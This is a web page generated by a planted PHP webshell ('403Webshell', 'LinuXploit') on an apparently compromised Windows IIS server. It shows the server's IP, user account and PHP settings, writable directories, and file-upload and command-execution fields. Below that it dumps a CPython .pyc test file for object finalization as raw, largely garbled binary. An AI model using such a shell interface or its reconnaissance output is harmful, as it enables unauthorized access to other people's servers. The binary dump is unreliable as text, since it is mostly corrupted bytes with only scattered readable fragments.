403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_finalization.cpython-315.opt-1.pyc
R
>lqj?c�t�Qs]PHs]PHs]PHs]PHs]QHGs]QHGs]QH$G
s
QQ2sQQ	\2s\Q
Q\22s
\QQ
\22sQQ\2sQQ\2sQQ2sQQ\\O$2sQQ2sQQ\\2sQQ\\2sQQ\\2sQQ\\O$2sQ Q!2sQ"Q#\\2sQ$Q%\\2sQ&Q'\\2sQ(Q)\\O$2sQ*Q+\2s\Q,Q-\22s\Q.Q/\22s \Q0Q1\\22s!\
ODQ2Q3\\O$22s#\$Q46Xc\OJ2P!P!\cQsCK�h9h\cQsCK�h9h)5zB
Tests for object finalization semantics, as outlined in PEP 442.
)�with_tp_delc�&�QQ[2oU!)c�(`�\sQs]snQsQsUsP!)�with_tp_del.<locals>.Cc�0�[OQ2g)zrequires _testcapi.with_tp_del��unittest�SkipTest��cls�args�kwargss&*,�+C:\Python315\\Lib\test\test_finalization.py�__new__�with_tp_del.<locals>.C.__new__s���'�'�(H�I�I����__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__�__classdictcell__��
__classdict__s@r
�Crs����
J�
Jrr)�object�r
rs& r
rr
s��	J��	J��r)�
without_gcc��QQ2oU!)c�(`�\sQs]snQsQsUsP!)�without_gc.<locals>.Cc�0�[OQ2g)zrequires _testcapi.without_gcrr	s&*,r
r�without_gc.<locals>.C.__new__s���'�'�(G�H�Hrrrrs@r
rr!s����
I�
Irrrrs& r
rrs��	I�	I��r)�supportc�`�\sQs]snQs,s,s,s,sP
s	Qs
\Q2s\\
OQ22sQsQsQsQsUsP!)�NonGCSimpleBasezX
The base class for all the objects under test, equipped with various
testing features.
c�>�UOO2UOO2[OO2[O
2UOO2UOO2P!�N)�	survivors�clear�errors�gc�garbage�collect�	del_calls�tp_del_calls�r
s&r
�_cleanup�NonGCSimpleBase._cleanup.s]���
�
�����
�
����
�
�
����
�
�
���
�
��������� rc#�� �[O29^tt^2UOO2UOO2P
[
mPw�UO%cUO]*gP	[
mUO2PPP2P!P	[
mSO2h9h)%fhP!9h3h)z9
A context manager to use around all finalization tests.
)	r$�
disable_gcr/r*r0r&�	_cleaningr+r2r1s&r
�test�NonGCSimpleBase.test7s�����
�
�
!�
!��M�M���!����"�"�$�(-�O�%�
���:�:�:��*�*�Q�-�'��-1��)�����"�
!��-1��)������"�
!�
!�sA�C'�AC�"B3�9B3�
C�)
C'�3C�C�C$	�C$	�	C'c��P!)z(
Check the object is sane (non-broken).
r��selfs&r
�check_sanity�NonGCSimpleBase.check_sanityI��rc�"�UO%fGUOO[U22UO	2UO2P!P![c'oSOOS2Po=P!Po=hh9h)zq
PEP 442 finalizer.  Record that this was called, check the
object is in a sane state, and invoke a side effect.
)r6r/�append�idr<�side_effect�	Exceptionr+�r;�es& r
�__del__�NonGCSimpleBase.__del__Nsj��
	"��>�>�>����%�%�b��h�/��!�!�#�� � �"�"���	"��K�K���q�!�!��	"��#�A�AA�	B�'B�(B	�	Bc��P!)z&
A side effect called on destruction.
rr:s&r
rB�NonGCSimpleBase.side_effect[r>rr)rrrr�__doc__r)r/r0r+r6�	__slots__�classmethodr2�
contextlib�contextmanagerr7r<rFrBrrrs@r
r&r&sr�����
�I��I��L�
�F��I��I��!��!��������� �
"��rr&c�.`�\sQs]asnQsQsQsUsP!)�
SimpleBasec�(�[U2UmP!r()rA�id_r:s&r
�__init__�SimpleBase.__init__cs
���d�8��rc��P!r(rr:s&r
r<�SimpleBase.check_sanityfr>r)rS)rrrrrTr<rrrs@r
rQrQas�����$�$rrQc��\sQs]jsQsQsP!)�NonGCr)rrrrrLrrrr
rYrYjs���IrrYc�,`�\sQs]nsnQsQsQsUsP!)�NonGCResurrectorc�>�UOOU2P!�z6
Resurrect self by storing self in a class-wide list.
�r)r@r:s&r
rB�NonGCResurrector.side_effectr���	
�����d�#rr)rrrrrLrBrrrs@r
r[r[ns�����I�$�$rr[c��\sQs]xsQsP!)�Simpler�rrrrrrrr
rbrbx���rrbc�(`�\sQs]|snQsQsUsP!)�SimpleResurrectorc�>�UOOU2P!r]r^r:s&r
rB�SimpleResurrector.side_effect~r`rr�rrrrrBrrrs@r
rfrf|s����$�$rrfc�L`�\sQs]�snQsQsQsQsQsQs	Qs
QsUsP!)	�TestBasec�f�[OQ*Um,[OQ$P!):NNN)r,r-�old_garbager:s&r
�setUp�TestBase.setUp�s���:�:�a�=�����
�
�1�
rc��UO[O,2U;[O2P!S;[O2h9hr()�assertEqualr,r-rmr.r:s&r
�tearDown�TestBase.tearDown�s=��	����R�Z�Z��,�� ��J�J�L��� ��J�J�L�s	� <�Ac�l�UO[[O2[U22P!r()rq�sortedrQr/�r;�idss&&r
�assert_del_calls�TestBase.assert_del_calls�s!������
� 4� 4�5�v�c�{�Crc�l�UO[[O2[U22P!r()rqrurQr0rvs&&r
�assert_tp_del_calls�TestBase.assert_tp_del_calls�s!������
� 7� 7�8�&��+�Frc�x�UO[Q[O22[U22P!)c3�D�SF �Do[U2w�	J	P!3hr(�rA��.0�xs& r
�	<genexpr>�,TestBase.assert_survivors.<locals>.<genexpr>�s��/C���/C�!��1���/C��� )rqrurQr)rvs&&r
�assert_survivors�TestBase.assert_survivors�s'������D�z�/C�/C�D�D�f�S�k�Rrc�x�UO[Q[O22[U22P!)c3�D�SF �Do[U2w�	J	P!3hr(rr�s& r
r��*TestBase.assert_garbage.<locals>.<genexpr>�s��z���z�!��1���z�r�)rqrur,r-rvs&&r
�assert_garbage�TestBase.assert_garbage�s%������:�r�z�z�:�:�F�3�K�Hrc�D�[OO2P!r()rQr)r*r:s&r
�clear_survivors�TestBase.clear_survivors�s�����"�"�$r)rm)
rrrrrnrrrxr{r�r�r�rrrs@r
rkrk�s1������D�G�S�I�%�%rrkc�z`�\sQs]�snQsQsQs\OQ2s	\OQ2s
QsUsP!)�SimpleFinalizationTestz&
Test finalization without refcycles.
c���[O29^tt^2[2o[U2,o[O
U2o=[O2UOU2UO,2UOU22[O2UOU2UO,2PPP2P!)%fhP!9hr()rQr7rbrA�weakref�refr,r.rxr��assertIsNone�r;�srw�wrs&   r
�test_simple�"SimpleFinalizationTest.test_simple�s���
�_�_�
�
���A��a�5�'�C����Q��B���J�J�L��!�!�#�&��!�!�"�%����b�d�#��J�J�L��!�!�#�&��!�!�"�%��
�
�
���B2C�C+	�#C+	c�&�[O29^tt^2[2o[U2,o[O
U2o=[O2UOU2UOU2UOU22UO2[O2UOU2UO,2PPP2UOW22P!)%fhK(9hr()
rQr7rfrAr�r�r,r.rxr��assertIsNotNoner�r�r�s&   r
�test_simple_resurrect�,SimpleFinalizationTest.test_simple_resurrect�s���
�_�_�
�
�!�#�A��a�5�'�C����Q��B���J�J�L��!�!�#�&��!�!�#�&�� � ���&�� � �"��J�J�L��!�!�#�&��!�!�"�%��	
���"�$���
�s�CD�D	�	D	c���[O29^tt^2[2oUO[O
U22[
U2,o=[O2UOU2UO,2[O2UOU2UO,2PPP2P!)%fhP!9hr()
rQr7rY�assertFalser,�
is_trackedrAr.rxr��r;r�rws&  r
�test_non_gc�"SimpleFinalizationTest.test_non_gc�s���
�_�_�
�
���A����R�]�]�1�-�.��a�5�'�C���J�J�L��!�!�#�&��!�!�"�%��J�J�L��!�!�#�&��!�!�"�%��
�
�
�s�B+C�C$	�C$	c��[O29^tt^2[2oUO[O
U22[
U2,o=[O2UOU2UOU2UO2[O2UOU]*2UOU2PPP2P!)%fhP!9h��)rQr7r[r�r,r�rAr.rxr�r�r�s&  r
�test_non_gc_resurrect�,SimpleFinalizationTest.test_non_gc_resurrect�s���
�_�_�
�
� �"�A����R�]�]�1�-�.��a�5�'�C���J�J�L��!�!�#�&��!�!�#�&�� � �"��J�J�L��!�!�#��'�*��!�!�#�&��
�
�
�s�CC*�*C;	�3C;	r)
rrrrrKr�r�r$�cpython_onlyr�r�rrrs@r
r�r��sH�����&� � 
���&��&�
���'��'rr�c�@``�\sQs]�snU1QksU1QksQsUsU9s!)�
SelfCycleBasec�2:�[RU_2VmP!r()�superrTr��r;�	__class__s&�r
rT�SelfCycleBase.__init__�s���
�����rc�&:�[RU_2P!r()r�r<r�s&�r
r<�SelfCycleBase.check_sanity�s���
���r�r�)	rrrrrTr<rr�
__classcell__�r�rs@@r
r�r��s����� � rr�c��\sQs]�sQsP!)�SimpleSelfCyclerrcrrr
r�r��rdrr�c��\sQs]�sQsP!)�SelfCycleResurrectorrrcrrr
r�r��rdrr�c�(`�\sQs]�snQsQsUsP!)�SuicidalSelfCyclec��PUmP!�z'
Explicitly break the reference cycle.
r�r:s&r
rB�SuicidalSelfCycle.side_effect�s����rr�rirs@r
r�r��s�����rr�c�8`�\sQs]�snQsQsQsQsQsUs	P!)�SelfCycleFinalizationTestzL
Test finalization of an object having a single cyclic reference to
itself.
c���[O29^tt^2[2o[U2,o[O
U2o=[O2UOU2UO,2UOU22[O2UOU2UO,2PPP2P!)%fhP!9hr()rQr7r�rAr�r�r,r.rxr�r�r�s&   r
r��%SelfCycleFinalizationTest.test_simples���
�_�_�
�
��!�A��a�5�'�C����Q��B���J�J�L��!�!�#�&��!�!�"�%����b�d�#��J�J�L��!�!�#�&��!�!�"�%��
�
�
�r�c��[O29^tt^2[2o[U2,o[O
U2o[O
UQ2o=[O2UOU2UOU2UOU22UOU22UO2[O2UOU2UO,2UOU22PPP2P!)%fhP!9h)c��P!r(r)r�s&r
�<lambda>�ASelfCycleFinalizationTest.test_simple_resurrect.<locals>.<lambda>s��4r)
rQr7r�rAr�r�r,r.rxr�r�r�r�)r;r�rwr��wrcs&    r
r��/SelfCycleFinalizationTest.test_simple_resurrects���
�_�_�
�
�$�&�A��a�5�'�C����Q��B��+�+�a��0�C���J�J�L��!�!�#�&��!�!�#�&�
� � ���&�
���c�e�$�
� � �"��J�J�L��!�!�#�&��!�!�"�%����b�d�#�+�
�
�
�s�DD.�.D?	�7D?	c��[O29^tt^2[2o[U2,o[O
U2o=[O2UOU2UO,2UOU22[O2UOU2UO,2UOU22PPP2P!)%fhP!9hr()rQr7r�rAr�r�r,r.rxr�r�r�s&   r
�test_simple_suicide�-SelfCycleFinalizationTest.test_simple_suicide*s����_�_�
�
�!�#�A��a�5�'�C����Q��B���J�J�L��!�!�#�&��!�!�"�%����b�d�#��J�J�L��!�!�#�&��!�!�"�%����b�d�#��
�
�
�s�CC0�0D	�9D	r)
rrrrrKr�r�r�rrrs@r
r�r��s�����
&�$�2$�$rr�c�:``�\sQsQsnQsU1QksQsUsU9s!)�ChainedBase�<c�.�P
UmVmVmP!)F��suicided�left�right)r;r�s&&r
�chain�ChainedBase.chain>s����
��	��
rc��:�[RU_2UO%cP!UOoUO%cUOoUO%cP!P!r()r�r<r�r�r�)r;r�r�r�s&  �r
r<�ChainedBase.check_sanityCs?���
�����=�=�=��9�9�D��}�}�}��J�J�E��~�~�~r)r�r�)	rrrrr�r<rrr�r�s@@r
r�r�<s�����
*�*rr�c��\sQsQsQsP!)�
SimpleChained�Trrcrrr
r�r�Trdrr�c��\sQsQsQsP!)�ChainedResurrector�Wrrcrrr
r�r�Wrdrr�c�(`�\sQsQsnQsQsUsP!)�SuicidalChained�Zc�2�P	UmPUmPUmP!r�r�r:s&r
rB�SuicidalChained.side_effect\s����
���	���
r)r�r�r�rirs@r
r�r�Zs�����rr�c�h`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
QsQ
sQsUsP!)�CycleChainFinalizationTest�ez�
Test finalization of a cyclic chain.  These tests are similar in
spirit to the self-cycle tests above, but the collectable object
graph isn't trivial anymore.
c��STt,tFD	p"2MJ	oo[[U22FD'oV4*OV4]*
*2J)	U!ttoh)�)�range�lenr�)r;�classesr
�nodes�is&&   r
�build_chain�&CycleChainFinalizationTest.build_chainlsI��")�*�'�3���'��*��s�5�z�"�A��H�N�N�5�1��:�&�#����+s�Ac
�l�[U2o[O29^tt^2UOU2oSTt,tFDo[	U2MJ	ooSTt,tFDo[
OU2MJ	oo=[O2UOU2UO,2SOSTt,tFD	pw2MJ	toP,U*2[O2UOU2PPP2P!ttohttohttoh)%fhP!9hr()r�rQr7r�rAr�r�r,r.rxr�rq)r;r��Nr�r�rw�wrsr�s&&      r
�check_non_resurrecting_chain�7CycleChainFinalizationTest.check_non_resurrecting_chainrs�����L��
�_�_�
�
��$�$�W�-�E�"'�(�%�Q�2�a�5�%�C�(�+0�1�5�a�7�;�;�q�>�5�C�1���J�J�L��!�!�#�&��!�!�"�%����S�1�S�r�b�d�S�1�D�6�A�:�>��J�J�L��!�!�#�&��
��(��1��
2��
�
�s;�D"�D�D"�!D�:AD"�D�6D"�D"�"D3	�+D3	c
��[U2oQo[O29^tt^2UOU2o[U2oSTt,tFDo[	U2MJ	ooSTt,tFD&o[U[2%fJ[	U2MJ(	ooSTt,tFDo[OU2MJ	ooSTt,tFDo[OVS2MJ	o	o=[O2UOU2UOU2SFDo
UOU
22J	S	FDo
UOU
22J	UO2[O2UOU2UO,2PPP2P!ttohttohttohttoh)%fhP!9h)c��P!r(rr�s&r
�dummy_callback�KCycleChainFinalizationTest.check_resurrecting_chain.<locals>.dummy_callback�s��r)r�rQr7r�rA�
isinstancerfr�r�r,r.rxr�r�r�r�)r;r�r�r�r�r�rw�survivor_idsr��wrcsr�s&&         r
�check_resurrecting_chain�3CycleChainFinalizationTest.check_resurrecting_chain�sb����L��	�
�_�_�
�
��$�$�W�-�E��E�
�A�"'�(�%�Q�2�a�5�%�C�(�+0�U�5�a�J�q�BS�4T�E�B�q�E�5�L�U�+0�1�5�a�7�;�;�q�>�5�C�1�<A�B�E�q�G�K�K��2�E�D�B���J�J�L��!�!�#�&��!�!�,�/����$�$�R�T�*�����!�!�"�$�'��
� � �"��J�J�L��!�!�#�&��!�!�"�%�-�
��)��U��1��B�
�
�
�sN� G�F,�"G�'F1�F1�G�!F6�;G�!F;�!CG�,G�G	�	G	c�B�UO[,]*2P!��)r�r�r:s&r
�test_homogenous�*CycleChainFinalizationTest.test_homogenous�s���)�)�=�/�A�*=�>rc�B�UO[,]*2P!r)r�r�r:s&r
�test_homogenous_resurrect�4CycleChainFinalizationTest.test_homogenous_resurrect�s���%�%�'9�&:�Q�&>�?rc�B�UO[,]*2P!r)r�r�r:s&r
�test_homogenous_suicidal�3CycleChainFinalizationTest.test_homogenous_suicidal�s���)�)�?�*;�a�*?�@rc�L�UO[[,]*2P!r��r�r�r�r:s&r
�test_heterogenous_suicidal_one�9CycleChainFinalizationTest.test_heterogenous_suicidal_one�s���)�)�?�M�*J�Q�*N�Orc�h�UO[,]*[,]**2P!r�rr:s&r
�test_heterogenous_suicidal_two�9CycleChainFinalizationTest.test_heterogenous_suicidal_two�s'���)�)�
���!�]�O�a�$7�7�	9rc�L�UO[[,]*2P!r�)r�r�r�r:s&r
�test_heterogenous_resurrect_one�:CycleChainFinalizationTest.test_heterogenous_resurrect_one�s���%�%�'9�=�&I�A�&M�Nrc�V�UO[[[,]*2P!r��r�r�r�r�r:s&r
�test_heterogenous_resurrect_two�:CycleChainFinalizationTest.test_heterogenous_resurrect_two�s ���%�%�
���@�1�D�	Frc��UO[,]*[,]**[,]**2P!r�rr:s&r
�!test_heterogenous_resurrect_three�<CycleChainFinalizationTest.test_heterogenous_resurrect_three�s6���%�%�
� �1�$�
���':�:�o�=N�QR�=R�R�	Trr)rrrrrKr�r�r�rrrrrrrrrrrs@r
r�r�esM������'�&�8?�@�A�P�9�O�F�T�Trr�c�.`�\sQsQsnQsQsQsUsP!)�
LegacyBase�c��UO%f7UOO[U22UO	2P!P![
c'oSOOS2Po=P!Po=hh9hr()r6r/r@rAr<rCr+rDs& r
rF�LegacyBase.__del__�s`��	"��>�>�>����%�%�b��h�/��!�!�#�"���	"��K�K���q�!�!��	"�s"�A
�4A
�
	A>�A>�A9�9A>c�"�UO%fGUOO[U22UO	2UO2P!P![c'oSOOS2Po=P!Po=hh9h)z:
Legacy (pre-PEP 442) finalizer, mapped to a tp_del slot.
)r6r0r@rAr<rBrCr+rDs& r
�
__tp_del__�LegacyBase.__tp_del__�sl��	"��>�>�>��!�!�(�(��D��2��!�!�#�� � �"�"���	"��K�K���q�!�!��	"�rHr)rrrrrFr!rrrs@r
rr�s����"�
"�
"rrc��\sQsQsQsP!)�Legacy��rrcrrr
r$r$����rr$c�(`�\sQsQsnQsQsUsP!)�LegacyResurrector��c�>�UOOU2P!r]r^r:s&r
rB�LegacyResurrector.side_effect�r`rrrirs@r
r(r(�s����$�$rr(c��\sQsQsQsP!)�LegacySelfCycle��rrcrrr
r-r-�r&rr-c�J``�\sQsQsnQsU1QksQsQsQsQs	Us
U9s!)�LegacyFinalizationTest��z-
Test finalization of objects with a tp_del.
c�:�[OO2[O2[RU_2P!r()r,r-r*r.r�rrr�s&�r
rr�LegacyFinalizationTest.tearDown�s)���	�
�
����
�
�
��
���rc��[O29^tt^2[2o[U2,o[O
U2o=[O2UOU2UOU2UO,2UOU22[O2UOU2UOU2PPP2P!)%fhP!9hr()rQr7r$rAr�r�r,r.rxr{r�r�r�s&   r
�test_legacy�"LegacyFinalizationTest.test_legacy�s���
�_�_�
�
���A��a�5�'�C����Q��B���J�J�L��!�!�#�&��$�$�S�)��!�!�"�%����b�d�#��J�J�L��!�!�#�&��$�$�S�)��
�
�
�s�CC+�+C<	�4C<	c�x�[O29^tt^2[2o[U2,o[O
U2o=[O2UOU2UOU2UOU2UOU22UO2[O2UOU2UOU]*2UOU2PPP2UOW22P!)%fhK(9hr�)
rQr7r(rAr�r�r,r.rxr{r�r�r�r�s&   r
�test_legacy_resurrect�,LegacyFinalizationTest.test_legacy_resurrects���
�_�_�
�
�!�#�A��a�5�'�C����Q��B���J�J�L��!�!�#�&��$�$�S�)��!�!�#�&����b�d�#�� � �"��J�J�L��!�!�#�&��$�$�S�1�W�-��!�!�#�&�� 	
���"�$��!�
�s�C+D)�)D9	�2D9	c�6�[O29^tt^2[2o[U2,o[O
U2o=[O2UO,2UO,2UO,2UOU2UOU22P[O]*mPPP2UO,2UOW22P!)%fhK99hr()rQr7r-rAr�r�r,r.rxr{r�r�r�r-r�r�s&   r
�test_legacy_self_cycle�-LegacyFinalizationTest.test_legacy_self_cycles���
�_�_�
�
��!�A��a�5�'�C����Q��B���J�J�L��!�!�"�%��$�$�R�(��!�!�"�%�����$�� � ���&� $�B�J�J�q�M���	
���B�����"�$���
�s�B9D�D	�D	r)rrrrrKrrr5r8r;rrr�r�s@@r
r0r0�s#������
*� �& � rr0�__main__)&rKrNr,rr��	_testcapir�ImportErrorrr7r$r&rQrYr[rbrfrk�TestCaser�r�r�r�r�r�r�r�r�r�r�rr$r(r-r�r0r�mainrrr
�<module>rBs����	����%��$��?�?�D$��$���O�����$��$��$�	�Z�	�$�
�$�%�%�<>'�X�x�'8�'8�>'�B � �	�m�V�	�	�=�*;�	��
�v��<$��(�*;�*;�<$�~*�*�0	�K��	�	��&7�	��k�6��PT��8�+<�+<�PT�l"��"�0
�	�Z�	�
�	�
�$�
�$�
�$�
�	�m�Z�	�
�	�	���> �X�x�'8�'8�> ��> �B�z���M�M�O���w���������s.�F�F)�F&�F&�%F&�)F7�/F7�6F7

Youez - 2016 - github.com/yon3zu
LinuXploit